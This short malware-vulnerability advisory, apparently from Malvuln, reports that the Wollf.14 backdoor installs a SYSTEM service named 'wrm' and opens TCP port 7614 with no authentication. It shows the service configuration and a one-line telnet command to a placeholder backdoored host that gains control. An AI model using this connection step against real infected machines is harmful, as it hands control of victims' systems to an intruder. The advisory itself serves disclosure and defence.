Backdoor.Win32.Wollf.14 malware has a backdoor on TCP/7614 that does not require any authentication.
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ccd3e54eb76b3349db57481a0fe68b35.txt
Contact: [email protected]
Vulnerability: Missing Authentication
Description: Wollf.14 listens on TCP port 7614 and creates a service "wrm" running as SYSTEM. The backdoor then allows casual intruders to take control of the infected system as there is no authentication required.
C:>sc qc wrm
[SC] QueryServiceConfig SUCCESS
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:WINDOWSsystem32wrm.exe -start
TAG : 0
DISPLAY_NAME : Wollf Remote Manager
SERVICE_START_NAME : LocalSystem
Vuln ID: MVID-2021-0055
Dropped files: wrm.exe
TELNET BACKDOORED_HOST_IP 7614
"Wollf Remote Manager" v1.4
Code by wollf, http://www.xfocus.org
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